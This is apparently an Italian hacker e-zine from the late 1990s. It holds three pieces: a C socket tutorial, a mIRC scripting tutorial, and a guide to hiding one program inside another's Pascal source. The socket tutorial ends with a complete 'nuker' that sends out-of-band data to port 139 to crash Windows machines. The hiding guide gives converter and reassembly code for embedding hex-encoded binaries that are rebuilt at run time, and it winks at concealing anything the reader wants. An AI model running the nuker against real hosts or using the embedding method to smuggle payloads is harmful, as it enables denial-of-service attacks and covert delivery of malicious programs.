struct in_addr{
long s_addr;
}
In sin_family potete schiaffarci AF_INET, sin_port e' la porta, e sin_addr e'
....indovinate un po'.... esatto, l'indirizzo del server.
Internet usa valori ordinati nel modo inverso a quello dei processori intel,
(i cosiddetti host byte order e network byte order) quindi per inserire un
valore in sin_port o sin_addr dovremo prima convertirlo, e possiamo farlo con
queste funzioni :
unsigned long int htonl(unsigned long int hostlong);
unsigned short int htons(unsigned short int hostshort);
unsigned long int ntohl(unsigned long int netlong);
unsigned short int ntohs(unsigned short int netshort);
il cui significato mi sembra abbastanza ovvio (se non dovesse esserlo vi
bastera' scrivere "man htonl" per avere una descrizione piu' dettagliata)
In sin_addr non va inserito ovviamente l'indirizzo alfanumerico, ma l'ip
numerico.
Per trovare l'ip numerico di uno alfanumerico usiamo la funzione :
struct hostent *gethostbyname(char *name);
name e' la stringa che rappresenta l'indirizzo alfanumerico.
La funzione restituisce un puntatore a una struttura hostent.
L'ip che ci interessa e' contenuto nella struttura puntata dal valore
di ritorno di gethostbyname, nel campo char *h_addr.
Una volta che abbiamo creato il socket dobbiamo connetterlo, e lo possiamo
fare con la funzione :
int
connect(int
sockfd, struct sockaddr *serv_addr, int addrlen );
sockfd e' il descriptor del socket (valore di ritorno della funzione socket)
serv_addr e' la struttura sockaddr che contiene l'indirizzo e la porta,
addrlen e' la dimensione di serv_addr
Il valore di ritorno e' 0 in caso di successo.
Per scrivere ad un socket (spedire dati quindi) si puo' usare la funzione
write :
int write (int sockfd, char *buffer, int buflen);
sockfd e' il descriptor del socket
buffer punta al primo carattere della stringa da inviare
buflen e' il numero di bytes da scrivere.
Per leggere invece (ricevere dati quindi) si usa la stessa sintassi, ma con
la funzione read ( int read (int sockfd, char *buffer, int buflen); ), solo
che stavolta buffer punta al primo byte della memoria dove si vogliono
salvare i dati letti, e buflen sono i caratteri da leggere.
Queste due funzioni si basavano sul fatto che il socket e' rappresentato
fondalmente come un intero, quindi possiamo usare il suo descriptor come se
fosse un file. Ci sono pero' due funzioni che fanno la stessa cosa, ma che
sono specifiche per i socket :
int recv(int s, void *buf, int len, unsigned int flags);
int
send(int s,
const
void *msg, int len, unsigned int flags);
vabbe' s e' il descriptor, ecc. ecc.
I flag li potete settare a zero oppure potete usare le seguenti costanti :
MSG_OOB (out of band)
MSG_DONTROUTE
Alla fine quando dobbiamo chiudere il socket usiamo
shutdown(int socket, int mode);
dove mode e' un valore da 0 a 2 (0 chiude le operazioni di scrittura ma
continua a ricevere, 1 continua solo a trasmettere, 2 viene chiuso del tutto)
E poi per liberare le risorse utilizzate dal socket: closesocket (int socket);
E adesso che vi sarete rotti il cazzo finalmente un esempio!
Un semplice nuker.
#include
#include
#include
#include
#include
#include
#include
<stdio.h>
<string.h>
<netdb.h>
<netinet/in.h>
<sys/types.h>
<sys/socket.h>
<unistd.h>
#define porta 139
// La classica vittima del nuke
main(int argc, char *argv[]){
char *stringa = "sAmPEi";
struct sockaddr_in indirizzo;
struct hostent *hp;
int socchett;
socchett = socket (PF_INET, SOCK_STREAM, 0); // Crea il socket
hp = gethostbyname(argv[1]);
// Trova l'ip numerico
bzero((char *)&indirizzo,sizeof(indirizzo));// Riempie di 0 la strutt.
bcopy(hp->h_addr, (char *)&indirizzo.sin_addr, hp->h_length);
// Il segno -> indica il membro della struttura puntata. Ad esempio
// se ho una struttura di nome computer,con un campo chiamato CPU,
// e un puntatore alla struttura (*computer) chiamato computerp, e'
// la stessa cosa fare "computer.CPU = 486" o "computerp->CPU = 486"
indirizzo.sin_family = AF_INET;
indirizzo.sin_port = htons(porta);
connect(socchett,(struct sockaddr *)&indirizzo,sizeof(indirizzo));
// Dato che abbiamo riempito una struttura di tipo sockaddr_in ma
// connect richiede una di tipo sockaddr, allora utilizziamo un cast
send (socchett, stringa, strlen(stringa), MSG_OOB);
// Mandiamo una stringa out of band sulla 139 per nukkare
close(socchett);
}
Il programma prende l'indirizzo alfanumerico passatogli sulla riga di comando
trova l'ip numerico e invia una stringa OOB sulla 139.
Ok, il discorso sui socket e' lungo, lo finisco la prossima volta.
Cya
ElectroRipper
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³
MIRC SCRIPTING TUTORIAL
³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
<-<-[ mIRC scripting tutorial ]->->
Bene ragazzi, sotto incitazione di N0bodY88, sar• io che da adesso in poi
curer• una sezione che spero diventer… una delle pi— seguite in assoluto:
come farvi i vostri script per mIRC! Molti appena mi sentono parlare in
"codice", ossia quando parlo di $addtok, /dialog o altre skeefezze, vengono
in query e puntualmente mi chiedono: "Ohhhhhh ma sai scriptare" "Emb‚?"
"Ma sarai bravissimoooooo!"...muaH, tutte stronzate. Salvo rarissime cose
fare uno script decente per chattare Š sempre facilissimo. Infatti il mIRC
scripting non Š altro che una versione ridotta ai minimi termini di un
linguaggio di programmazione. Questo linguaggio deriva un po' da tutto:
dal C, dal Basic, dal Pascal ecc. Prima di iniziare con i fondamenti per•
dovete avere ben chiaro in mente il concetto di script. Uno script Š un
SOTTOPROGRAMMA del mIRC e niente di pi—. Non pu• andare di molto oltre i
limiti del mIRC, tranne che con parecchie ore di programmazione dedicate
a creare funzioni fuori dal comune. Una buona soluzione, ma solo se siete
bravi con un linguaggio di programmazione visuale (magari non VB ok? meglio
Visual C++ o Delphi), Š quella di crearvi il VOSTRO client IRC, con le
funzioni che volete, tutte incluse senza i limiti dello scripting.
A proposito di limiti dello scripting, non credete di poter fare chiss…
quali prodigi, infatti i limiti ci sono eccome! Potrete limitarvi ad un solo
men— aggiunto sulla menubar, per creare molte cose belle Š necessaria una
quantit… sproporzionata di codice e spesso ci si riduce ad includere nel
proprio script molti file per renderlo pi— appetibile. Il problema Š
che questi file rallentano l'esecuzione del mIRC, visto che il programma
se li carica singolarmente all'avvio (caso di questa "pesantezza" generale
Š il Bisnuke 3.0 Gold, veramente immane: immagini di sfondo, suoni, oltre
50 file di script da caricare, tutto per una misera interfaccia grafica,
pergiunta neanche dell'autore, visto che Š un addon). Perci• ripeto: niente
miracoli! Passiamo adesso ad esaminare i fondamenti dello scripting.
Un file di script pu• essere di due tipi diversi: un file .INI o un file
di una qualunque altra estensione, purch‚ fatto in testo ASCII. Io consiglio
sempre il secondo metodo, meglio se l'estensione del file Š .MRC. Comunque
la scelta sta a voi. Ricordate per• che un file INI Š poco leggibile dall'
esterno (ossia usando programmi come notepad) perch‚ il mIRC li salva in un
formato particolare, che premette una nX= ad ogni riga (la X sta per un
numero, che parte da 0 e cresce man mano). Allora, ogni script che si
rispetti si compone di tre parti fondamentali: gli ALIAS, i REMOTE e i
POPUPS.
-----------------------------------ALIAS-------------------------------------ALIAS: un alias Š un comando che produce una serie di operazioni in sequenza,
per esempio possiamo creare un alias che dica sul canale in cui siamo "Ciao"
ma possiamo anche creare un alias che ci faccia joinare sui nostri canali
preferiti, ci autentichi sui bot e saluti tutti. Un portento!
Gli alias sono nella forma:
<nome dell'alias> {
comando1
...
comandoN
}
Esempio:
ciao {
join #newbies
me saluta tutti
topic ecco il mio alias in funzione
}
Questo alias entra nel canale #newbies, saluta tutti con un /me (azione),
e cambia il topic in "ecco il mio alias in funzione".
Come spero vi siate accorti i comandi da usare in un alias sono gli stessi
che usate normalmente nel mIRC, come /me, /topic, ecc. Le uniche eccezioni
sono che potete scrivere in un alias i comandi senza "/", che per dire
qualcosa in un canale dovete usare "say <testo>" e che vi Š permesso usare
i cosiddetti "Identifiers" che per• vi spiegher• in un'altra lezione.
Gli alias sono chiamati dalla riga di comando come i normali comandi del
mIRC, ossia premettendo un "/" (segno che per• pu• essere cambiato dalle
opzioni, eventualmente mettete quello che avete scelto). Nel nostro
esempio il comando verr… chiamato digitando "/ciao"
-----------------------------------REMOTE------------------------------------REMOTE: i remote sono le cose pi— importanti. Infatti sono delle righe di
codice che hanno la capacit… di rispondere a dei determinati eventi. Per
esempio, possiamo fare un remoto che al testo "Pizza Script" kickbanna per
30 secondi quello che ha pronunciato il nome dello script pi— lamer in
assoluto. Si dice evento generante l'evento che mette "in moto" il vostro
remoto. Questi remoti sono in questa forma:
on <livello>:<evento>:<testo (non sempre presente)>:<luogo (non sempre
presente)>: {
comando1
...
comandoN
}
Allora, il livello Š un particolare numero associato ad alcuni tipi di utente.
Non so se avete presente degli script dove c'Š la friend e la enemy list.
In pratica l'essere friend o enemy dipende dal numero che vi Š stato
assegnato, ossia il vostro livello. Se per esempio la enemy list ha come
livello di default 3, potrebbe esserci un evento on 3:TEXT che appena un
enemy parla, esegue le azioni che avete specificato. Il livello base di un
utente Š 1, ma potete cambiarlo a vostro piacimento dall'editor di script
incluso nel mIRC. L'evento serve a dire quando deve scattare il nostro
remoto. TEXT indica alla ricezione di testo, ACTION alla ricezione di un
azione, KICK appena viene fatto un kick e cos• via. Chiss… che non appena
saremo un pochino pi— esperti non vi faccia pubblicare una bella listona
con il funzionamento di tutti gli eventi!
Il testo e il luogo sono due parametri non sempre presenti. Infatti il primo
Š presente negli eventi come TEXT, ACTION ecc. e indica se deve essere
presente una certa stringa nel testo che avete ricevuto. Se non avete un
filtro preciso, basta mettere * che vuol dire tutto. Il luogo Š invece
indicativo della finestra in cui ricevete qualcosa.
I simbolini principali sono:
* = tutte le finestre
? = finestra di query
# = per tutte le finestre di canale
#<nome del canale> = per quel canale in particolare
Subito dopo il luogo, vengono i comandi. Questi sono dati come in un alias,
ossia senza "/" ecc. Ricordate che non Š sbagliato mettere "/", ma in un
grosso script tanti / potrebbero contribuire a fare + grande il codice, e
inoltre (almeno secondo me) creano molta confusione.
-----------------------------------POPUPS------------------------------------I popups sono la parte meno importante di uno script, ma dei popup ben fatti
contribuiscono a creare una senzazione di "bellezza" generale. Infatti i
popups sono appunto i men— popup, quelli attivabili col tasto destro.
Ma procediamo per ordine. I popup sono di 6 tipi:
MENUBAR: La sezione Menubar dei popup crea un men— sulla Menubar, tra il
men— DCC e il men— Window
STATUS: La sezione status crea un men— richiamabile premendo col tasto destro
sulla finestra di status
CHANNEL: La sezione channel crea un men— richiamabile col tasto destro sulla
finestra di un canale
QUERY/CHAT: La sezione Query/Chat crea il men— per le finestre di query e per
le DCC chat
NICKNAME LIST: La sezione nickname crea il solito men— che appare cliccando
col tasto destro su un nickname sulla lista dei nick
CUSTOM WINDOWS POPUP: Di questa sezione non molti sanno l'esistenza, ma solo
perch‚ non appare nel mIRC Editor. Ma esiste la possibilit… di creare men—
popup per le Custom Windows, che sono finestre creabili con appositi comandi.
Una piccola parentesi: a partire dal mIRC 5.5 sono state introdotte delle
leggere innovazioni. Infatti adesso se nella finestra di un canale, dove
ricevete il testo, cliccate col tasto destro mentre la freccina Š sopra un
nick apparir… il men— della nicklist.
Forma generale dei popup:
------------------------Nome del Men—(questo parametro serve solo nella sezione menubar e indica il
nome del vostro men— sulla menubar)
Elemento del Men—:comando da eseguire quando cliccate
------------------------Esiste la possibilit… di creare dei separatori, ossia le linee di separazione
per gli elementi del men—, inserendo al posto dell'elemento del men— un Inoltre possiamo creare dei sottomen— usando questo metodo:
------------------------Men— Settaggi
.Autojoin
..Attivo:comandi per attivare
..Disattivo:comandi per disattivare
....Lista dei canali:comando per la lista
.Controlli
..Op:cmd dell'op
..Deop:cmd del deop
..Kick
...Kick:cmd del kick
ecc.
In pratica questa cosa far… uscire sul vostro mIRC una cosa + o - cos•:
Autojoin
> Attivo
Disattivo
Men— Settaggi >
----------------Lista dei canali
Controlli > Op
Deop
Kick > Kick
eccetera.
Capito?!?!
E per adesso abbiamo finito, come prima lezione abbiamo spiegato per benino
gli elementi basilari. Nel frattempo che aspettate il prossimo numero di
Newbies (non ringrazier• mai abbastanza N0bodY88 per avermi permesso di fare
i miei articoli) vi dico un paio di cosette. Inanzitutto se create uno script
NON mandatemelo. inoltre scaricatevi un paio di script, magari da NonSoloKick
(www.nonsolokick.com, siccome i download sono a password e username, li ho
fatti mettere solo per voi). Eccovi un elenzo di script che potrete fare
vostri:
ZeroTolerance 8.20 (http://ztolerance.cjb.net) <-- CONSIGLIATO!
7thSphere 3.0 (http://www.nonsolokick.com) <-- CONSIGLIATO!
VeNo[M] Script 2.1 (http://www.nonsolokick.com)
TRiBE IRC 9b43 (http://www.tribe.roxx.ircnet.mcmail.com/) <-- CONSIGLIATO!
ShowDowN 9.5 PRO (http://koti.icenet.fi/~julsei/)
Pizza Script 3.0 (http://www.chez.com/pizzairc) <-- SOLO PER LAMER0NI!
Dynamirc 7.0 (http://www.nonsolokick.com)
Pulsar 2.0 (http://www.nonsolokick.com) <-- SOLO PER ME E N0BODY ;D
Bisnuke 4.0 (http://www.nonsolokick.com)
CryogenIrc 4.0 (http://www.nonsolokick.com)
SpYmAsTeR
[email protected]
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ NASCONDERE UN PROGRAMMA ALL'INTERNO DI UN ALTRO IN PASCAL ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
E' un sistema leggermente laborioso ma semplice una volta che si e' preso il
via. ;-)
Il turbo pascal 7 e' uno dei migliori compilatori che si possono trovare in
giro per quanto riguarda la programmazione sotto dos. Se il c e' sicuramente
piu' valido ed efficace sia per quanto riguarda la velocita', la flessibilita'
nello scrivere i sorgenti e tante altre cose, il tp offre un compilatore
ridotto ai minimi termini ( per compilare un programma e farne un eseguibile
sono sufficienti per la maggior parte delle applicazioni i files:
TPC.exe (54k compattati con wwp) e Turbo.tpl (48k) )
..in piu' normalmente compila creando eseguibili piu' corti rispetto al c.
Tutto questo fa del tp uno dei programmi piu' usati in assoluto ( dopo il C++
della Borland ..che sinceramente anch'io preferisco. ;-) hi hi)
..in relazione a questa cosa mi e' stato fatto notare, a seguito dello scorso
articolo sulla possibilita' di nascondere un programma all'interno di un
sorgente in VB, che in pascal non sarebbe possibile farlo perche' il
compilatore tp non lavora con sorgenti piu' lunghi di 6xKb.
E in effetti e' vero.. ma a questo mondo si puo' fare tutto quando ci si mette
di sbuzzo buono. :))
Il trucco sta nel costruirsi delle unit (in c sarebbe molto piu' semplice)
contenenti solo una parte del programma da riassemblare.
Ogni parte ovviamente sara composta da tante linee di sorgente fino a
non-occupare il compilatore per dimensioni maggiori del suo massimo
lavorativo..quindi riassemblare il tutto.
la procedura a blocchi e' questa:
Premesse : file_da_inglobare
Programma_contenitore
azioni: file_da_inglobare
-> file_convertito_in_esadecimale
|
file suddiviso in Nx parti di xKb
|
creazione di Nx UNIT
|
aggiunta al programma_contenitore delle unit
|
aggiunta al programma pincipale di una procedura
di ricompattazione delle unit.
Si procede cosi'.
Per prima cosa si deve convertire il programma da inglobare in maniera tale da
avere lo stesso in formato esadecimale inglobato in una o piu' variabili da
poter poi riutilizzare con una procedura esterna.
Perche' esadecimale? .. perche' la rappresentazione ascii (che sarebbe la
migliore in quanto rappresenta un byte con un solo byte appunto! :) ) e'
inutilizzabile all'interno di un sorgente ..tp infatti l'editor usa alcuni
caratteri ascii come comandi e quindi non verrebbero rappresentati nella
maniera corretta.
La rappresentazione decimale richiede 3 byte per byte .. infatti il carattere
'd' tanto per fare un esempio dovrebbe essere rappresentato col suo
equivalente ascii e cioe' 100.
La rappresentazione esadecimale 00-ff e' quindi la strada ottimale da
percorrere.
I file saranno mediamenti piu' lunghi del 60/70 % .. ma poco importa visti
i vantaggi.
Si divide quindi file cosi' convertito in linee secondo questo formato
a:=' .... primi 40 byte della rappresentazione esadecimale del file .....';p;
a:=' .. successivi 40 byte della rappresentazione esadecimale del file ..';p;
...
...
ecc.. ecc...
"a" e' una variabile stringa, "p" e' una procedura che prelevera' dalla stringa
"a" i dati due alla volta per riscriverli con append sull'hd ricreando il file
primario.
la variabile "a" e la procedura "p" dovranno essere definite all'interno delle
varie unit.
ad ogni riga viene eseguita la procedura "p" per la crezione a blocchi di 40
byte del file originale.. quindi secondo come struttureremo la procedura "p"
stessa (e le unit) sara' possibile mettere solo un certo numero di linee
(come sopra) in una unit specifica e le altre restanti in altre unit diverse.
.. come prima cosa serve un programma che converta un file binario nella sua
rappresentazione esadecimale e lo converta nel formato a:' .. 40Hex ..';p
questo e' lo script in pascal
------------------------------------------ CONVERTI.PAS
program converti;
uses strings,crt;
function hex(l : longint) : string;
const hc : array[0..15] of char =
('0','1','2','3','4','5','6','7',
'8','9','a','b','c','d','e','f');
begin
hex:=hc[(l and $f0) shr 4]+hc[(l and $0f)]
end;
var k:integer;
o:char;
n:string;
h,l,t:integer;
fp1,fp2:text;
g: file of byte;
begin
k:=0;
l:=0;
n:='spp3.3ds';
{ NOME DEL FILE DA CONVERTIRE }
assign(g,n);reset(g);t:=filesize(g);close(g);
assign(fp1,n);
reset(fp1);
assign(fp2,'testo.txt');
rewrite(fp2);
write(fp2,'a:=',chr(39));
while l<t do
begin
l:=l+1;
read(fp1,o);
h:=ord(o);
k:=k+1;
write(fp2,hex(h));
if k>39 then
begin
write(fp2,chr(39),';p;',chr(13),chr(10),'a:=',chr(39));
k:=0;
end;
end;
write(fp2,chr(39),';p;',chr(13),chr(10));
close(fp2);
close(fp1);
end.
------------------------------------------------------------per chi volesse, per confronto, anche la stessa procedura in C..
------------------------------------------ CONVERTI.C
#include <stdio.h>
main(){
FILE *fp1,*fp2;
unsigned char h;
int k=0;
char *file,*t="";
file="spp3.3ds";
/* NOME DEL FILE DA CONVERTIRE */
fp1=fopen(file,"rb");
fp2=fopen("testo.txt","wb");
fprintf(fp2,"a:='");
while(!feof(fp1)){
h=fgetc(fp1);k++;
if(h<16) fprintf(fp2,"0%x",h);
if(h>=16) fprintf(fp2,"%x",h);
if(k>39){
fprintf(fp2,"';p;%c%ca:='",13,10);
k=0;}}
fprintf(fp2,"';p;%c%c",13,10);
fclose(fp2);
fclose(fp1);
}
------------------------------------------------------------lo script produce come output un file con le specifiche sopra riportate.
ad esempio il file binario
-----------------------------------------------------------------LOGO.JPG
ÿØÿà JFIF
ÿÛ C
' ",# (7),01444 '9=82<.342ÿÛ C
2 !222222
22222222222222222222222222222222222222222222ÿÀ
/ Ô "
ÿÄ
ÿÄ
}
!1A Qa "q 2•‘¡ #B
±Á RÑð$3br‚
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzƒ
‰Š’“”•–—˜™š¢£¤¥¦§¨©ª²³´µ¶·¸¹ºÂÃÄÅÆÇÈÉÊÒÓÔÕÖ×ØÙÚáâãäåæçèéêñòóôõö÷øùúÿÄ
ÿÄ
w !1 AQ aq "
2• B‘¡±Á
#3Rð brÑ
$4á% &'()*56789:CDEFGHIJSTUVWXYZcdefghijstu
vwxyz‚ƒ„…†‡ˆ‰Š’“”•–—˜™š¢£¤¥¦§¨©ª²³´µ¶·¸¹ºÂÃÄÅÆÇÈÉÊÒÓÔÕÖ×ØÙÚâãäåæçèéêòóôõö
÷øùúÿÚ
? ËÔ¿h? Yê·–±éú)HfxÔ´2ä€Ä þóÚªÿ ÃFx¿þ•Ú ýø—ÿ ŽÖ ø•ÃòiÚö¿®
ͨ©ƒZ6©
™Aæ†ÞÄe•Ú~RsÈã ç “ÀÚv«wá§ðì÷ki®Nöû/¶´¶ï (rJà2áà `ðE-E©¾Ÿ´GŒ_ŸìÝ
úá/ÿ « ~Ð 0“þaÚ'×È—ÿ ŽV.Ÿá¿ ësÜiºCëk~°M%´÷- †f• ðT(* )îqï[º ðœ~ 𰺵Ö]E¬
þHŠâ%#÷Ï»q(•‹8ÇAŽ¦˜É£øïâæë§è¿÷æ_þ9VGÇ? ùqÒ?ïÌ¿ür³ôï é’xÿ RÑïnî J´E•n Ñ\¤
• Œ’A_ùh¤ð8 §Jǃà tíaîZEºµ½ŠÂÝ~ê¼Ì͸0#<* 8äŠBlê×㕉Û?èZ8ÿ ¶R•ñÊ•|mñ!8û “ÿ
~¤ÿ ã••ýƒá!â1á£>°Ú‡Ú ‘»VŒCççnvmÝ·• {8æ¡M Ãúg‡mu
rMMžÜAfѨÌd Û™N #Žù¦†
Ÿs¬o‹^,] 5Ca¤}™î Ü .Lï
ñ¿ UOø]ž$ÿ Ÿ +þýIÿ ÅÕ8ü>ú§…-tý"u–Ùõi&ûL¬ Á ¶‰É•‡
¨$7ûJEq:³éÉ©Í “$òÙ! “à3àrØ ` œ ¸Æh пáuø“þ|´¯ûõ'ÿ ¦ÿ Âíñ üùi_÷êOþ9^bÒœ
t®žÏMÑ-<5i«kCR˜ÞÍ,p¥“" íÉbÀä•Ã c¡¢átt•ñÃÄ€ñc¤ÿ ß©?øå üoñ4’¤•cÑ”³ ËG >§Ì
àW7o¢h –«+ØßÝÿ dÛiæúèH€Ï S´Ä8
ÌI\7O›ØÓ[LðÎ¥l²éw7ÖÒ¥Ô0½½ì±³Ê’ FT »Žx=E! =
×Æß ÚÝM ´Ñ$1;!x’GFÁÆT‰0G¡ª¯ñãÅ ñc£•ß™•øåbËá-#Oº×îu9¯Ž™§j& íÊy³>çÆXŒ. 2NÞ
ecc.. ecc...
------------------------------------------------------------------------viene convertito cosi':
-------------------------------------------------------------TESTO.TXT
a:='ffd8ffe000104a46494600010100000100010000ffdb00430008060607060508070707090908
0a0c';p;
a:='140d0c0b0b0c1912130f141d1a1f1e1d1a1c1c20242e2720222c231c1c2837292c3031343434
1f27';p;
a:='393d38323c2e333432ffdb0043010909090c0b0c180d0d1832211c2132323232323232323232
3232';p;
a:='3232323232323232323232323232323232323232323232323232323232323232323232323232
ffc0';p;
a:='001108012f02d403012200021101031101ffc4001f0000010501010101010100000000000000
0001';p;
a:='02030405060708090a0bffc400b5100002010303020403050504040000017d01020300041105
1221';p;
a:='31410613516107227114328191a1082342b1c11552d1f02433627282090a161718191a252627
2829';p;
a:='2a3435363738393a434445464748494a535455565758595a636465666768696a737475767778
797a';p;
a:='838485868788898a92939495969798999aa2a3a4a5a6a7a8a9aab2b3b4b5b6b7b8b9bac2c3c4
c5c6';p;
a:='c7c8c9cad2d3d4d5d6d7d8d9dae1e2e3e4e5e6e7e8e9eaf1f2f3f4f5f6f7f8f9faffc4001f01
0003';p;
a:='0101010101010101010000000000000102030405060708090a0bffc400b51100020102040403
0407';p;
a:='05040400010277000102031104052131061241510761711322328108144291a1b1c109233352
f015';p;
a:='6272d10a162434e125f11718191a262728292a35363738393a434445464748494a5354555657
5859';p;
a:='5a636465666768696a737475767778797a82838485868788898a92939495969798999aa2a3a4
a5a6';p;
a:='a7a8a9aab2b3b4b5b6b7b8b9bac2c3c4c5c6c7c8c9cad2d3d4d5d6d7d8d9dae2e3e4e5e6e7e8
e9ea';p;
a:='f2f3f4f5f6f7f8f9faffda000c03010002110311003f00cbd4bf683f1659eab796b1e9fa2948
6678';p;
ecc... ecc...
------------------------------------------------------------------------per poter ricostruire il file in TP sarebe sufficiente estrapolare i dati
esadecimali da ogni singola riga (tramite la produra P) e ricreare il file
col proprio nome.
Purtroppo spesso e volentieri il numero di righe formattate relative a uno o
piu' programmi da includere necessari ai nostri scopi supera abbondantemente
i limiti del compilatore tpc .. da qui l'esigenza delle unit.
cominciamo con le facili procedure necessarie all'estrazione dei dati.
Serve innanzitutto una funzione che separi dalla stringa -a- i dati due a due.
Sarebbe comoda una cosa tipo il mid$ del basic.. come questa:
var
a
S
: string;
: array[0..10] of char;
function mid(t:string;n,l:integer):string;
var i: integer;
begin
for i:=n to n+l-1 do s[i-n]:=t[i];
mid:=strpas(s);
end;
Poi una procedura per convertire i dati della ministringa esadecimale di 2
caratteri estratta in un intero decimale
function deci(t:string):integer;
var ix,rx,ox,px:integer;
begin
ox:=0;
for ix:=2 downto 1 do begin
case t[ix] of
'a'..'f':rx:=ord(t[ix])-ord('a')+10;
'A'..'F':rx:=ord(t[ix])-ord('A')+10;
'0'..'9':rx:=ord(t[ix])-ord('0');
end;
if ix=1 then begin ox:=ox+rx*16 end
else begin ox:=ox+rx end;
end;
deci:=ox;
end;
Quindi la procedura p (attaccata in fondo ad ogni stringa formattata) che
scriva nel file i caratteri rigenerati.
procedure p;
var i,fru:integer;
begin
i:=round(length(a)/2);
for fru:=1 to i do
Write(fruttolo,chr(deci(mid(a,1+(fru-1)*2,2))));
end;
.. "fruttolo" e' l'assegnazione della variabile di tipo file:text relativa al
file che stiamo ricreando e che andra' aperto a inzio procedura generale nella
unit.
a questo punto siamo in grado di strutturare un completo modulo generale per
la nostra (o le nostre unit)
--------------------------------------------------------- MODULO.pas
{$A+,B-,D+,E+,F-,G+,I-,L+,N+,O-,P+,Q-,R-,S-,T-,V-,X+,Y+}
{$M 16384,0,655360}
UNIT unop;
INTERFACE
uses Strings,crt;
var a
: string;
S
: array[0..10] of char;
fruttolo : Text;
PROCEDURE uno;
IMPLEMENTATION
function deci(t:string):integer;
var ix,rx,ox,px:integer;
begin
ox:=0;
for ix:=2 downto 1 do begin
case t[ix] of
'a'..'f':rx:=ord(t[ix])-ord('a')+10;
'A'..'F':rx:=ord(t[ix])-ord('A')+10;
'0'..'9':rx:=ord(t[ix])-ord('0');
end;
if ix=1 then begin ox:=ox+rx*16 end
else begin ox:=ox+rx end;
end;
deci:=ox;
end;
function mid(t:string;n,l:integer):string;
var i: integer;
begin
for i:=n to n+l-1 do s[i-n]:=t[i];
mid:=strpas(s);
end;
procedure p;
var i,fru:integer;
begin
i:=round(length(a)/2);
for fru:=1 to i do
Write(fruttolo,chr(deci(mid(a,1+(fru-1)*2,2))));
end;
procedure uno;
begin
Assign(fruttolo, 'passa');
Append(fruttolo);
{ ... }
{ qui va la fila di a:=' ....... 40 byte ....... ';p; }
{
a:=' ... altri 40 byte .... ';p; }
{ ... }
begin
close(fruttolo);
end;
end.
---------------------------------------------------------------------------nella procedura uno (come dichiarato sopra ) andranno inserite le linee
generate dallo script converti.pas (file testo.txt)
si potranno inserire circa 800 righe di 40 bytes per un totale di circa
32.000 byte del programma originale.
Se il programma originale sara' di dimensioni >= 32K bastera' una sola unit
altrimenti per un programma di 80K ne serviranno 3 ..e cosi' via.
Come metodo generale per la creazione delle unit successive io sempre il
modulo sopra .. cambiando tutto gli 'uno' in 'due' per la seconda unit, 'uno'
in 'tre' per la terza ..a seguire.
Nel programma generale poi sara' sufficiente dichiarare le varie unit
consecutivamente
USES unop,duep,trep,quap, ... xxxp
quindi richamare per la ricostruzione completa del file le varie procedure
dichiarate
uno;due;tre;qua; ... xxx:
..un esempio di file che ricompatta due unit create col metodo sopra riportato:
-----------------------------------------------------------------{$A+,B-,D+,E+,F-,G+,I-,L+,N+,O-,P+,Q-,R-,S-,T-,V-,X+,Y+}
{$M 16384,0,655360}
uses unop,duep;
var f:text;
begin
assign(f,'miofile.bin');
rewrite(f);
close(f);
uno;
due;
end.
--------------------------------------------------------------------le righe
assign(f,'miofile.bin');
rewrite(f);
close(f);
sono necessarie in quanto l'append usato nelle unit se trovasse gia presente
sull'hd un file chiamato come il nostro file da rigenerare non ricreerebbe ex
novo quest'ultimo ma lo AGGIUNGEREBBE brutalmente a quello trovato.
Con rewrite abbiamo la certezza che il nostro file venga ricreato in maniera
corretta e partendo dalla locazione 0.
.. sarebbe tutto qui in effetti
un vero esempio pratico e funzionante.. una demo grafica (poi ognuno potra'
invece accludere ai propri sorgenti cio' che piu' gli tornera' utile.. io
questo non lo voglio sapere. ) ]:-)
E' un programma che ho trovato in giro che ruota sullo schermo oggetti creati
col 3d studio .. l'unica cosa e' che una demo classica di solito prevede un
solo file exe...
allora ho unito il file spp3.3ds al sorgente col sistema citato sopra.
